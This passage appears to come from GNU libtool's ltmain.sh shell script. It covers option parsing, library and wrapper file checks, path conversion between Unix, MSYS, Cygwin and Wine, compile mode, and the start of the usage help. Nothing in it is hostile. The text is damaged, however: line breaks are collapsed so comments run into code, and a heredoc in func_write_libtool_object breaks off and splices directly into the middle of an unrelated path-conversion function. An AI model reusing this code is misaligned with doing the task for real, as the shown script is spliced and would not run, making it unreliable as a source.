opt_silent=false func_append preserve_args " $opt" ;; --no-warning|--no-warn) opt_warning=false func_append preserve_args " $opt" ;; --no-verbose) opt_verbose=false func_append preserve_args " $opt" ;; --silent|--quiet) opt_silent=: func_append preserve_args " $opt" opt_verbose=false ;; --verbose|-v) opt_verbose=: func_append preserve_args " $opt" opt_silent=false ;; --tag) test $# = 0 && func_missing_arg $opt && break optarg="$1" opt_tag="$optarg" func_append preserve_args " $opt $optarg" func_enable_tag "$optarg" shift ;; -\?|-h) func_usage ;; --help) func_help ;; --version) func_version ;; # Separate optargs to long options: --*=*) func_split_long_opt "$opt" set dummy "$func_split_long_opt_name" "$func_split_long_opt_arg" ${1+"$@"} shift ;; # Separate non-argument short options: -\?*|-h*|-n*|-v*) func_split_short_opt "$opt" set dummy "$func_split_short_opt_name" "-$func_split_short_opt_arg" ${1+"$@"} shift ;; --) break ;; -*) func_fatal_help "unrecognized option \`$opt'" ;; *) set dummy "$opt" ${1+"$@"}; shift; break ;; esac done # Validate options: # save first non-option argument if test "$#" -gt 0; then nonopt="$opt" shift fi # preserve --debug test "$opt_debug" = : || func_append preserve_args " --debug" case $host in *cygwin* | *mingw* | *pw32* | *cegcc*) # don't eliminate duplications in $postdeps and $predeps opt_duplicate_compiler_generated_deps=: ;; *) opt_duplicate_compiler_generated_deps=$opt_preserve_dup_deps ;; esac $opt_help || { # Sanity checks first: func_check_version_match if test "$build_libtool_libs" != yes && test "$build_old_libs" != yes; then func_fatal_configuration "not configured to build any kind of library" fi # Darwin sucks eval std_shrext=\"$shrext_cmds\" # Only execute mode is allowed to have -dlopen flags. if test -n "$opt_dlopen" && test "$opt_mode" != execute; then func_error "unrecognized option \`-dlopen'" $ECHO "$help" 1>&2 exit $EXIT_FAILURE fi # Change the help message to a mode-specific one. generic_help="$help" help="Try \`$progname --help --mode=$opt_mode' for more information." } # Bail if the options were screwed $exit_cmd $EXIT_FAILURE } ## ----------- ## ## Main. ## ## ----------- ## # func_lalib_p file # True iff FILE is a libtool `.la' library or `.lo' object file. # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_lalib_p () { test -f "$1" && $SED -e 4q "$1" 2>/dev/null \ | $GREP "^# Generated by .*$PACKAGE" > /dev/null 2>&1 } # func_lalib_unsafe_p file # True iff FILE is a libtool `.la' library or `.lo' object file. # This function implements the same check as func_lalib_p without # resorting to external programs. To this end, it redirects stdin and # closes it afterwards, without saving the original file descriptor. # As a safety measure, use it only where a negative result would be # fatal anyway. Works if `file' does not exist. func_lalib_unsafe_p () { lalib_p=no if test -f "$1" && test -r "$1" && exec 5<&0 <"$1"; then for lalib_p_l in 1 2 3 4 do read lalib_p_line case "$lalib_p_line" in \#\ Generated\ by\ *$PACKAGE* ) lalib_p=yes; break;; esac done exec 0<&5 5<&- fi test "$lalib_p" = yes } # func_ltwrapper_script_p file # True iff FILE is a libtool wrapper script # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_ltwrapper_script_p () { func_lalib_p "$1" } # func_ltwrapper_executable_p file # True iff FILE is a libtool wrapper executable # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_ltwrapper_executable_p () { func_ltwrapper_exec_suffix= case $1 in *.exe) ;; *) func_ltwrapper_exec_suffix=.exe ;; esac $GREP "$magic_exe" "$1$func_ltwrapper_exec_suffix" >/dev/null 2>&1 } # func_ltwrapper_scriptname file # Assumes file is an ltwrapper_executable # uses $file to determine the appropriate filename for a # temporary ltwrapper_script. func_ltwrapper_scriptname () { func_dirname_and_basename "$1" "" "." func_stripname '' '.exe' "$func_basename_result" func_ltwrapper_scriptname_result="$func_dirname_result/$objdir/${func_stripname_result}_ltshwrapper" } # func_ltwrapper_p file # True iff FILE is a libtool wrapper script or wrapper executable # This function is only a basic sanity check; it will hardly flush out # determined imposters. func_ltwrapper_p () { func_ltwrapper_script_p "$1" || func_ltwrapper_executable_p "$1" } # func_execute_cmds commands fail_cmd # Execute tilde-delimited COMMANDS. # If FAIL_CMD is given, eval that upon failure. # FAIL_CMD may read-access the current command in variable CMD! func_execute_cmds () { $opt_debug save_ifs=$IFS; IFS='~' for cmd in $1; do IFS=$save_ifs eval cmd=\"$cmd\" func_show_eval "$cmd" "${2-:}" done IFS=$save_ifs } # func_source file # Source FILE, adding directory component if necessary. # Note that it is not necessary on cygwin/mingw to append a dot to # FILE even if both FILE and FILE.exe exist: automatic-append-.exe # behavior happens only for exec(3), not for open(2)! Also, sourcing # `FILE.' does not work on cygwin managed mounts. func_source () { $opt_debug case $1 in */* | *\\*) . "$1" ;; *) . "./$1" ;; esac } # func_resolve_sysroot PATH # Replace a leading = in PATH with a sysroot. Store the result into # func_resolve_sysroot_result func_resolve_sysroot () { func_resolve_sysroot_result=$1 case $func_resolve_sysroot_result in =*) func_stripname '=' '' "$func_resolve_sysroot_result" func_resolve_sysroot_result=$lt_sysroot$func_stripname_result ;; esac } # func_replace_sysroot PATH # If PATH begins with the sysroot, replace it with = and # store the result into func_replace_sysroot_result. func_replace_sysroot () { case "$lt_sysroot:$1" in ?*:"$lt_sysroot"*) func_stripname "$lt_sysroot" '' "$1" func_replace_sysroot_result="=$func_stripname_result" ;; *) # Including no sysroot. func_replace_sysroot_result=$1 ;; esac } # func_infer_tag arg # Infer tagged configuration to use if any are available and # if one wasn't chosen via the "--tag" command line option. # Only attempt this if the compiler in the base compile # command doesn't match the default compiler. # arg is usually of the form 'gcc ...' func_infer_tag () { $opt_debug if test -n "$available_tags" && test -z "$tagname"; then CC_quoted= for arg in $CC; do func_append_quoted CC_quoted "$arg" done CC_expanded=`func_echo_all $CC` CC_quoted_expanded=`func_echo_all $CC_quoted` case $@ in # Blanks in the command may have been stripped by the calling shell, # but not from the CC environment variable when configure was run. " $CC "* | "$CC "* | " $CC_expanded "* | "$CC_expanded "* | \ " $CC_quoted"* | "$CC_quoted "* | " $CC_quoted_expanded "* | "$CC_quoted_expanded "*) ;; # Blanks at the start of $base_compile will cause this to fail # if we don't check for them as well. *) for z in $available_tags; do if $GREP "^# ### BEGIN LIBTOOL TAG CONFIG: $z$" < "$progpath" > /dev/null; then # Evaluate the configuration. eval "`${SED} -n -e '/^# ### BEGIN LIBTOOL TAG CONFIG: '$z'$/,/^# ### END LIBTOOL TAG CONFIG: '$z'$/p' < $progpath`" CC_quoted= for arg in $CC; do # Double-quote args containing other shell metacharacters. func_append_quoted CC_quoted "$arg" done CC_expanded=`func_echo_all $CC` CC_quoted_expanded=`func_echo_all $CC_quoted` case "$@ " in " $CC "* | "$CC "* | " $CC_expanded "* | "$CC_expanded "* | \ " $CC_quoted"* | "$CC_quoted "* | " $CC_quoted_expanded "* | "$CC_quoted_expanded "*) # The compiler in the base compile command matches # the one in the tagged configuration. # Assume this is the tagged configuration we want. tagname=$z break ;; esac fi done # If $tagname still isn't set, then no tagged configuration # was found and let the user know that the "--tag" command # line option must be used. if test -z "$tagname"; then func_echo "unable to infer tagged configuration" func_fatal_error "specify a tag with \`--tag'" # else # func_verbose "using $tagname tagged configuration" fi ;; esac fi } # func_write_libtool_object output_name pic_name nonpic_name # Create a libtool object file (analogous to a ".la" file), # but don't create it if we're doing a dry run. func_write_libtool_object () { write_libobj=${1} if test "$build_libtool_libs" = yes; then write_lobj=\'${2}\' else write_lobj=none fi if test "$build_old_libs" = yes; then write_oldobj=\'${3}\' else write_oldobj=none fi $opt_dry_run || { cat >${write_libobj}T </dev/null` if test "$?" -eq 0 && test -n "${func_convert_core_file_wine_to_w32_tmp}"; then func_convert_core_file_wine_to_w32_result=`$ECHO "$func_convert_core_file_wine_to_w32_tmp" | $SED -e "$lt_sed_naive_backslashify"` else func_convert_core_file_wine_to_w32_result= fi fi } # end: func_convert_core_file_wine_to_w32 # func_convert_core_path_wine_to_w32 ARG # Helper function used by path conversion functions when $build is *nix, and # $host is mingw, cygwin, or some other w32 environment. Relies on a correctly # configured wine environment available, with the winepath program in $build's # $PATH. Assumes ARG has no leading or trailing path separator characters. # # ARG is path to be converted from $build format to win32. # Result is available in $func_convert_core_path_wine_to_w32_result. # Unconvertible file (directory) names in ARG are skipped; if no directory names # are convertible, then the result may be empty. func_convert_core_path_wine_to_w32 () { $opt_debug # unfortunately, winepath doesn't convert paths, only file names func_convert_core_path_wine_to_w32_result="" if test -n "$1"; then oldIFS=$IFS IFS=: for func_convert_core_path_wine_to_w32_f in $1; do IFS=$oldIFS func_convert_core_file_wine_to_w32 "$func_convert_core_path_wine_to_w32_f" if test -n "$func_convert_core_file_wine_to_w32_result" ; then if test -z "$func_convert_core_path_wine_to_w32_result"; then func_convert_core_path_wine_to_w32_result="$func_convert_core_file_wine_to_w32_result" else func_append func_convert_core_path_wine_to_w32_result ";$func_convert_core_file_wine_to_w32_result" fi fi done IFS=$oldIFS fi } # end: func_convert_core_path_wine_to_w32 # func_cygpath ARGS... # Wrapper around calling the cygpath program via LT_CYGPATH. This is used when # when (1) $build is *nix and Cygwin is hosted via a wine environment; or (2) # $build is MSYS and $host is Cygwin, or (3) $build is Cygwin. In case (1) or # (2), returns the Cygwin file name or path in func_cygpath_result (input # file name or path is assumed to be in w32 format, as previously converted # from $build's *nix or MSYS format). In case (3), returns the w32 file name # or path in func_cygpath_result (input file name or path is assumed to be in # Cygwin format). Returns an empty string on error. # # ARGS are passed to cygpath, with the last one being the file name or path to # be converted. # # Specify the absolute *nix (or w32) name to cygpath in the LT_CYGPATH # environment variable; do not put it in $PATH. func_cygpath () { $opt_debug if test -n "$LT_CYGPATH" && test -f "$LT_CYGPATH"; then func_cygpath_result=`$LT_CYGPATH "$@" 2>/dev/null` if test "$?" -ne 0; then # on failure, ensure result is empty func_cygpath_result= fi else func_cygpath_result= func_error "LT_CYGPATH is empty or specifies non-existent file: \`$LT_CYGPATH'" fi } #end: func_cygpath # func_convert_core_msys_to_w32 ARG # Convert file name or path ARG from MSYS format to w32 format. Return # result in func_convert_core_msys_to_w32_result. func_convert_core_msys_to_w32 () { $opt_debug # awkward: cmd appends spaces to result func_convert_core_msys_to_w32_result=`( cmd //c echo "$1" ) 2>/dev/null | $SED -e 's/[ ]*$//' -e "$lt_sed_naive_backslashify"` } #end: func_convert_core_msys_to_w32 # func_convert_file_check ARG1 ARG2 # Verify that ARG1 (a file name in $build format) was converted to $host # format in ARG2. Otherwise, emit an error message, but continue (resetting # func_to_host_file_result to ARG1). func_convert_file_check () { $opt_debug if test -z "$2" && test -n "$1" ; then func_error "Could not determine host file name corresponding to" func_error " \`$1'" func_error "Continuing, but uninstalled executables may not work." # Fallback: func_to_host_file_result="$1" fi } # end func_convert_file_check # func_convert_path_check FROM_PATHSEP TO_PATHSEP FROM_PATH TO_PATH # Verify that FROM_PATH (a path in $build format) was converted to $host # format in TO_PATH. Otherwise, emit an error message, but continue, resetting # func_to_host_file_result to a simplistic fallback value (see below). func_convert_path_check () { $opt_debug if test -z "$4" && test -n "$3"; then func_error "Could not determine the host path corresponding to" func_error " \`$3'" func_error "Continuing, but uninstalled executables may not work." # Fallback. This is a deliberately simplistic "conversion" and # should not be "improved". See libtool.info. if test "x$1" != "x$2"; then lt_replace_pathsep_chars="s|$1|$2|g" func_to_host_path_result=`echo "$3" | $SED -e "$lt_replace_pathsep_chars"` else func_to_host_path_result="$3" fi fi } # end func_convert_path_check # func_convert_path_front_back_pathsep FRONTPAT BACKPAT REPL ORIG # Modifies func_to_host_path_result by prepending REPL if ORIG matches FRONTPAT # and appending REPL if ORIG matches BACKPAT. func_convert_path_front_back_pathsep () { $opt_debug case $4 in $1 ) func_to_host_path_result="$3$func_to_host_path_result" ;; esac case $4 in $2 ) func_append func_to_host_path_result "$3" ;; esac } # end func_convert_path_front_back_pathsep ################################################## # $build to $host FILE NAME CONVERSION FUNCTIONS # ################################################## # invoked via `$to_host_file_cmd ARG' # # In each case, ARG is the path to be converted from $build to $host format. # Result will be available in $func_to_host_file_result. # func_to_host_file ARG # Converts the file name ARG from $build format to $host format. Return result # in func_to_host_file_result. func_to_host_file () { $opt_debug $to_host_file_cmd "$1" } # end func_to_host_file # func_to_tool_file ARG LAZY # converts the file name ARG from $build format to toolchain format. Return # result in func_to_tool_file_result. If the conversion in use is listed # in (the comma separated) LAZY, no conversion takes place. func_to_tool_file () { $opt_debug case ,$2, in *,"$to_tool_file_cmd",*) func_to_tool_file_result=$1 ;; *) $to_tool_file_cmd "$1" func_to_tool_file_result=$func_to_host_file_result ;; esac } # end func_to_tool_file # func_convert_file_noop ARG # Copy ARG to func_to_host_file_result. func_convert_file_noop () { func_to_host_file_result="$1" } # end func_convert_file_noop # func_convert_file_msys_to_w32 ARG # Convert file name ARG from (mingw) MSYS to (mingw) w32 format; automatic # conversion to w32 is not available inside the cwrapper. Returns result in # func_to_host_file_result. func_convert_file_msys_to_w32 () { $opt_debug func_to_host_file_result="$1" if test -n "$1"; then func_convert_core_msys_to_w32 "$1" func_to_host_file_result="$func_convert_core_msys_to_w32_result" fi func_convert_file_check "$1" "$func_to_host_file_result" } # end func_convert_file_msys_to_w32 # func_convert_file_cygwin_to_w32 ARG # Convert file name ARG from Cygwin to w32 format. Returns result in # func_to_host_file_result. func_convert_file_cygwin_to_w32 () { $opt_debug func_to_host_file_result="$1" if test -n "$1"; then # because $build is cygwin, we call "the" cygpath in $PATH; no need to use # LT_CYGPATH in this case. func_to_host_file_result=`cygpath -m "$1"` fi func_convert_file_check "$1" "$func_to_host_file_result" } # end func_convert_file_cygwin_to_w32 # func_convert_file_nix_to_w32 ARG # Convert file name ARG from *nix to w32 format. Requires a wine environment # and a working winepath. Returns result in func_to_host_file_result. func_convert_file_nix_to_w32 () { $opt_debug func_to_host_file_result="$1" if test -n "$1"; then func_convert_core_file_wine_to_w32 "$1" func_to_host_file_result="$func_convert_core_file_wine_to_w32_result" fi func_convert_file_check "$1" "$func_to_host_file_result" } # end func_convert_file_nix_to_w32 # func_convert_file_msys_to_cygwin ARG # Convert file name ARG from MSYS to Cygwin format. Requires LT_CYGPATH set. # Returns result in func_to_host_file_result. func_convert_file_msys_to_cygwin () { $opt_debug func_to_host_file_result="$1" if test -n "$1"; then func_convert_core_msys_to_w32 "$1" func_cygpath -u "$func_convert_core_msys_to_w32_result" func_to_host_file_result="$func_cygpath_result" fi func_convert_file_check "$1" "$func_to_host_file_result" } # end func_convert_file_msys_to_cygwin # func_convert_file_nix_to_cygwin ARG # Convert file name ARG from *nix to Cygwin format. Requires Cygwin installed # in a wine environment, working winepath, and LT_CYGPATH set. Returns result # in func_to_host_file_result. func_convert_file_nix_to_cygwin () { $opt_debug func_to_host_file_result="$1" if test -n "$1"; then # convert from *nix to w32, then use cygpath to convert from w32 to cygwin. func_convert_core_file_wine_to_w32 "$1" func_cygpath -u "$func_convert_core_file_wine_to_w32_result" func_to_host_file_result="$func_cygpath_result" fi func_convert_file_check "$1" "$func_to_host_file_result" } # end func_convert_file_nix_to_cygwin ############################################# # $build to $host PATH CONVERSION FUNCTIONS # ############################################# # invoked via `$to_host_path_cmd ARG' # # In each case, ARG is the path to be converted from $build to $host format. # The result will be available in $func_to_host_path_result. # # Path separators are also converted from $build format to $host format. If # ARG begins or ends with a path separator character, it is preserved (but # converted to $host format) on output. # # All path conversion functions are named using the following convention: # file name conversion function : func_convert_file_X_to_Y () # path conversion function : func_convert_path_X_to_Y () # where, for any given $build/$host combination the 'X_to_Y' value is the # same. If conversion functions are added for new $build/$host combinations, # the two new functions must follow this pattern, or func_init_to_host_path_cmd # will break. # func_init_to_host_path_cmd # Ensures that function "pointer" variable $to_host_path_cmd is set to the # appropriate value, based on the value of $to_host_file_cmd. to_host_path_cmd= func_init_to_host_path_cmd () { $opt_debug if test -z "$to_host_path_cmd"; then func_stripname 'func_convert_file_' '' "$to_host_file_cmd" to_host_path_cmd="func_convert_path_${func_stripname_result}" fi } # func_to_host_path ARG # Converts the path ARG from $build format to $host format. Return result # in func_to_host_path_result. func_to_host_path () { $opt_debug func_init_to_host_path_cmd $to_host_path_cmd "$1" } # end func_to_host_path # func_convert_path_noop ARG # Copy ARG to func_to_host_path_result. func_convert_path_noop () { func_to_host_path_result="$1" } # end func_convert_path_noop # func_convert_path_msys_to_w32 ARG # Convert path ARG from (mingw) MSYS to (mingw) w32 format; automatic # conversion to w32 is not available inside the cwrapper. Returns result in # func_to_host_path_result. func_convert_path_msys_to_w32 () { $opt_debug func_to_host_path_result="$1" if test -n "$1"; then # Remove leading and trailing path separator characters from ARG. MSYS # behavior is inconsistent here; cygpath turns them into '.;' and ';.'; # and winepath ignores them completely. func_stripname : : "$1" func_to_host_path_tmp1=$func_stripname_result func_convert_core_msys_to_w32 "$func_to_host_path_tmp1" func_to_host_path_result="$func_convert_core_msys_to_w32_result" func_convert_path_check : ";" \ "$func_to_host_path_tmp1" "$func_to_host_path_result" func_convert_path_front_back_pathsep ":*" "*:" ";" "$1" fi } # end func_convert_path_msys_to_w32 # func_convert_path_cygwin_to_w32 ARG # Convert path ARG from Cygwin to w32 format. Returns result in # func_to_host_file_result. func_convert_path_cygwin_to_w32 () { $opt_debug func_to_host_path_result="$1" if test -n "$1"; then # See func_convert_path_msys_to_w32: func_stripname : : "$1" func_to_host_path_tmp1=$func_stripname_result func_to_host_path_result=`cygpath -m -p "$func_to_host_path_tmp1"` func_convert_path_check : ";" \ "$func_to_host_path_tmp1" "$func_to_host_path_result" func_convert_path_front_back_pathsep ":*" "*:" ";" "$1" fi } # end func_convert_path_cygwin_to_w32 # func_convert_path_nix_to_w32 ARG # Convert path ARG from *nix to w32 format. Requires a wine environment and # a working winepath. Returns result in func_to_host_file_result. func_convert_path_nix_to_w32 () { $opt_debug func_to_host_path_result="$1" if test -n "$1"; then # See func_convert_path_msys_to_w32: func_stripname : : "$1" func_to_host_path_tmp1=$func_stripname_result func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1" func_to_host_path_result="$func_convert_core_path_wine_to_w32_result" func_convert_path_check : ";" \ "$func_to_host_path_tmp1" "$func_to_host_path_result" func_convert_path_front_back_pathsep ":*" "*:" ";" "$1" fi } # end func_convert_path_nix_to_w32 # func_convert_path_msys_to_cygwin ARG # Convert path ARG from MSYS to Cygwin format. Requires LT_CYGPATH set. # Returns result in func_to_host_file_result. func_convert_path_msys_to_cygwin () { $opt_debug func_to_host_path_result="$1" if test -n "$1"; then # See func_convert_path_msys_to_w32: func_stripname : : "$1" func_to_host_path_tmp1=$func_stripname_result func_convert_core_msys_to_w32 "$func_to_host_path_tmp1" func_cygpath -u -p "$func_convert_core_msys_to_w32_result" func_to_host_path_result="$func_cygpath_result" func_convert_path_check : : \ "$func_to_host_path_tmp1" "$func_to_host_path_result" func_convert_path_front_back_pathsep ":*" "*:" : "$1" fi } # end func_convert_path_msys_to_cygwin # func_convert_path_nix_to_cygwin ARG # Convert path ARG from *nix to Cygwin format. Requires Cygwin installed in a # a wine environment, working winepath, and LT_CYGPATH set. Returns result in # func_to_host_file_result. func_convert_path_nix_to_cygwin () { $opt_debug func_to_host_path_result="$1" if test -n "$1"; then # Remove leading and trailing path separator characters from # ARG. msys behavior is inconsistent here, cygpath turns them # into '.;' and ';.', and winepath ignores them completely. func_stripname : : "$1" func_to_host_path_tmp1=$func_stripname_result func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1" func_cygpath -u -p "$func_convert_core_path_wine_to_w32_result" func_to_host_path_result="$func_cygpath_result" func_convert_path_check : : \ "$func_to_host_path_tmp1" "$func_to_host_path_result" func_convert_path_front_back_pathsep ":*" "*:" : "$1" fi } # end func_convert_path_nix_to_cygwin # func_mode_compile arg... func_mode_compile () { $opt_debug # Get the compilation command and the source file. base_compile= srcfile="$nonopt" # always keep a non-empty value in "srcfile" suppress_opt=yes suppress_output= arg_mode=normal libobj= later= pie_flag= for arg do case $arg_mode in arg ) # do not "continue". Instead, add this to base_compile lastarg="$arg" arg_mode=normal ;; target ) libobj="$arg" arg_mode=normal continue ;; normal ) # Accept any command-line options. case $arg in -o) test -n "$libobj" && \ func_fatal_error "you cannot specify \`-o' more than once" arg_mode=target continue ;; -pie | -fpie | -fPIE) func_append pie_flag " $arg" continue ;; -shared | -static | -prefer-pic | -prefer-non-pic) func_append later " $arg" continue ;; -no-suppress) suppress_opt=no continue ;; -Xcompiler) arg_mode=arg # the next one goes into the "base_compile" arg list continue # The current "srcfile" will either be retained or ;; # replaced later. I would guess that would be a bug. -Wc,*) func_stripname '-Wc,' '' "$arg" args=$func_stripname_result lastarg= save_ifs="$IFS"; IFS=',' for arg in $args; do IFS="$save_ifs" func_append_quoted lastarg "$arg" done IFS="$save_ifs" func_stripname ' ' '' "$lastarg" lastarg=$func_stripname_result # Add the arguments to base_compile. func_append base_compile " $lastarg" continue ;; *) # Accept the current argument as the source file. # The previous "srcfile" becomes the current argument. # lastarg="$srcfile" srcfile="$arg" ;; esac # case $arg ;; esac # case $arg_mode # Aesthetically quote the previous argument. func_append_quoted base_compile "$lastarg" done # for arg case $arg_mode in arg) func_fatal_error "you must specify an argument for -Xcompile" ;; target) func_fatal_error "you must specify a target with \`-o'" ;; *) # Get the name of the library object. test -z "$libobj" && { func_basename "$srcfile" libobj="$func_basename_result" } ;; esac # Recognize several different file suffixes. # If the user specifies -o file.o, it is replaced with file.lo case $libobj in *.[cCFSifmso] | \ *.ada | *.adb | *.ads | *.asm | \ *.c++ | *.cc | *.ii | *.class | *.cpp | *.cxx | \ *.[fF][09]? | *.for | *.java | *.go | *.obj | *.sx | *.cu | *.cup) func_xform "$libobj" libobj=$func_xform_result ;; esac case $libobj in *.lo) func_lo2o "$libobj"; obj=$func_lo2o_result ;; *) func_fatal_error "cannot determine name of library object from \`$libobj'" ;; esac func_infer_tag $base_compile for arg in $later; do case $arg in -shared) test "$build_libtool_libs" != yes && \ func_fatal_configuration "can not build a shared library" build_old_libs=no continue ;; -static) build_libtool_libs=no build_old_libs=yes continue ;; -prefer-pic) pic_mode=yes continue ;; -prefer-non-pic) pic_mode=no continue ;; esac done func_quote_for_eval "$libobj" test "X$libobj" != "X$func_quote_for_eval_result" \ && $ECHO "X$libobj" | $GREP '[]~#^*{};<>?"'"'"' &()|`$[]' \ && func_warning "libobj name \`$libobj' may not contain shell special characters." func_dirname_and_basename "$obj" "/" "" objname="$func_basename_result" xdir="$func_dirname_result" lobj=${xdir}$objdir/$objname test -z "$base_compile" && \ func_fatal_help "you must specify a compilation command" # Delete any leftover library objects. if test "$build_old_libs" = yes; then removelist="$obj $lobj $libobj ${libobj}T" else removelist="$lobj $libobj ${libobj}T" fi # On Cygwin there's no "real" PIC flag so we must build both object types case $host_os in cygwin* | mingw* | pw32* | os2* | cegcc*) pic_mode=default ;; esac if test "$pic_mode" = no && test "$deplibs_check_method" != pass_all; then # non-PIC code in shared libraries is not supported pic_mode=default fi # Calculate the filename of the output object if compiler does # not support -o with -c if test "$compiler_c_o" = no; then output_obj=`$ECHO "$srcfile" | $SED 's%^.*/%%; s%\.[^.]*$%%'`.${objext} lockfile="$output_obj.lock" else output_obj= need_locks=no lockfile= fi # Lock this critical section if it is needed # We use this script file to make the link, it avoids creating a new file if test "$need_locks" = yes; then until $opt_dry_run || ln "$progpath" "$lockfile" 2>/dev/null; do func_echo "Waiting for $lockfile to be removed" sleep 2 done elif test "$need_locks" = warn; then if test -f "$lockfile"; then $ECHO "\ *** ERROR, $lockfile exists and contains: `cat $lockfile 2>/dev/null` This indicates that another process is trying to use the same temporary object file, and libtool could not work around it because your compiler does not support \`-c' and \`-o' together. If you repeat this compilation, it may succeed, by chance, but you had better avoid parallel builds (make -j) in this platform, or get a better compiler." $opt_dry_run || $RM $removelist exit $EXIT_FAILURE fi func_append removelist " $output_obj" $ECHO "$srcfile" > "$lockfile" fi $opt_dry_run || $RM $removelist func_append removelist " $lockfile" trap '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' 1 2 15 func_to_tool_file "$srcfile" func_convert_file_msys_to_w32 srcfile=$func_to_tool_file_result func_quote_for_eval "$srcfile" qsrcfile=$func_quote_for_eval_result # Only build a PIC object if we are building libtool libraries. if test "$build_libtool_libs" = yes; then # Without this assignment, base_compile gets emptied. fbsd_hideous_sh_bug=$base_compile if test "$pic_mode" != no; then command="$base_compile $qsrcfile $pic_flag" else # Don't build PIC code command="$base_compile $qsrcfile" fi func_mkdir_p "$xdir$objdir" if test -z "$output_obj"; then # Place PIC objects in $objdir func_append command " -o $lobj" fi func_show_eval_locale "$command" \ 'test -n "$output_obj" && $RM $removelist; exit $EXIT_FAILURE' if test "$need_locks" = warn && test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then $ECHO "\ *** ERROR, $lockfile contains: `cat $lockfile 2>/dev/null` but it should contain: $srcfile This indicates that another process is trying to use the same temporary object file, and libtool could not work around it because your compiler does not support \`-c' and \`-o' together. If you repeat this compilation, it may succeed, by chance, but you had better avoid parallel builds (make -j) in this platform, or get a better compiler." $opt_dry_run || $RM $removelist exit $EXIT_FAILURE fi # Just move the object if needed, then go on to compile the next one if test -n "$output_obj" && test "X$output_obj" != "X$lobj"; then func_show_eval '$MV "$output_obj" "$lobj"' \ 'error=$?; $opt_dry_run || $RM $removelist; exit $error' fi # Allow error messages only from the first compilation. if test "$suppress_opt" = yes; then suppress_output=' >/dev/null 2>&1' fi fi # Only build a position-dependent object if we build old libraries. if test "$build_old_libs" = yes; then if test "$pic_mode" != yes; then # Don't build PIC code command="$base_compile $qsrcfile$pie_flag" else command="$base_compile $qsrcfile $pic_flag" fi if test "$compiler_c_o" = yes; then func_append command " -o $obj" fi # Suppress compiler output if we already did a PIC compilation. func_append command "$suppress_output" func_show_eval_locale "$command" \ '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' if test "$need_locks" = warn && test "X`cat $lockfile 2>/dev/null`" != "X$srcfile"; then $ECHO "\ *** ERROR, $lockfile contains: `cat $lockfile 2>/dev/null` but it should contain: $srcfile This indicates that another process is trying to use the same temporary object file, and libtool could not work around it because your compiler does not support \`-c' and \`-o' together. If you repeat this compilation, it may succeed, by chance, but you had better avoid parallel builds (make -j) in this platform, or get a better compiler." $opt_dry_run || $RM $removelist exit $EXIT_FAILURE fi # Just move the object if needed if test -n "$output_obj" && test "X$output_obj" != "X$obj"; then func_show_eval '$MV "$output_obj" "$obj"' \ 'error=$?; $opt_dry_run || $RM $removelist; exit $error' fi fi $opt_dry_run || { func_write_libtool_object "$libobj" "$objdir/$objname" "$objname" # Unlock the critical section if it was locked if test "$need_locks" != no; then removelist=$lockfile $RM "$lockfile" fi } exit $EXIT_SUCCESS } $opt_help || { test "$opt_mode" = compile && func_mode_compile ${1+"$@"} } func_mode_help () { # We need to display help for each of the modes. case $opt_mode in "") # Generic help is extracted from the usage comments # at the start of this file. func_help ;; clean) $ECHO \ "Usage: $progname [OPTION]... --mode=clean RM [RM-OPTION]... FILE... Remove files from the build directory. RM is the name of the program to use to delete files associated with each FILE (typically \`/bin/rm'). RM-OPTIONS are options (such as \`-f') to be passed to RM. If FILE is a libtool library, object or program, all the files associated with it are deleted. Otherwise, only FILE itself is deleted using RM." ;; compile) $ECHO \ "Usage: $progname [OPTION]... --mode=compile COMPILE-COMMAND... SOURCEFILE Compile a source file into a libtool library object. This mode accepts the following additional options: -o OUTPUT-FILE set the output file name to OUTPUT-FILE -no-suppress do not suppress compiler output for multiple passes -prefer-pic try to build PIC objects only -prefer-non-pic try to build non-PIC objects only -shared do not build a \`.o' file suitable for static linking -static only build a \`.o' file suitable for static linking -Wc,FLAG pass FLAG directly to the compiler COMPILE-COMMAND is a command to be used in creating a \`standard' object file from the given SOURCEFILE. The output file name is determined by removing the directory component from SOURCEFILE, then substituting the C source code suffix \`.c' with the library object suffix, \`.lo'." ;; execute) $ECHO \ "Usage: $progname [OPTION]... --mode=execute COMMAND [ARGS]... Automatically set library path, then run a program. This mode accepts the following additional options: -dlopen FILE add the directory containing FILE to the library path This mode sets the library path environment variable according to \`-dlopen' flags. If any of the ARGS are libtool executable wrappers, then they are translated into their corresponding uninstalled binary, and any of their required library directories are added to the library path. Then, COMMAND is executed, with ARGS as arguments." ;; finish) $ECHO \ "Usage: $progname [OPTION]... --mode=finish [LIBDIR]... Complete the installation of libtool libraries. Each LIBDIR is a directory that contains libtool libraries. The commands that this mode executes may require superuser privileges. Use the \`--dry-run' option if you just want to see what would be executed." ;; install) $ECHO \ "Usage: $progname [OPTION]... --mode=install INSTALL-COMMAND... Install executables or libraries. INSTALL-COMMAND is the installation command. The first component should be either the \`install' or \`cp' program. The following components of INSTALL-COMMAND are treated specially: -inst-prefix-dir PREFIX-DIR Use PREFIX-DIR as a staging area for installation The rest of the components are interpreted as arguments to that command (only BSD-compatible install options are recognized)." ;; link) $ECHO \ "Usage: $progname [OPTION]... --mode=link LINK-COMMAND... Link object files or libraries together to form another library, or to create an executable program. LINK-COMMAND is a command using the C compiler that you would use to create a program from several object files. The following components of LINK-COMMAND are treated specially: -all-static do not do any dynamic linking at all -avoid-version do not add a version suffix if possible -bindir BINDIR specify path to binaries directory (for systems where libraries must be found in the PATH setting at runtime) -dlopen FILE \`-dlpreopen' FILE if it cannot be dlopened at runtime -dlpreopen FILE link in FILE and add its symbols to lt_preloaded_symbols -export-dynamic allow symbols from OUTPUT-FILE to be resolved with dlsym(3) -export-symbols SYMFILE try to export only the symbols listed in SYMFILE -export-symbols-regex REGEX try to export only the symbols matching REGEX -LLIBDIR search LIBDIR for required installed libraries -lNAME OUTPUT-FILE requires the installed library libNAME -module build a library that can dlopened -no-fast-install disable the fast-install mode -no-install link a not-installable executable -no-undefined declare that a library does not refer to external symbols -o OUTPUT-FILE create OUTPUT-FILE from the specified objects -objectlist FILE Use a list of object files found in FILE to specify objects -precious-files-regex REGEX don't remove output files matching REGEX -release RELEASE specify package release information -rpath LIBDIR the created library will eventually be installed in 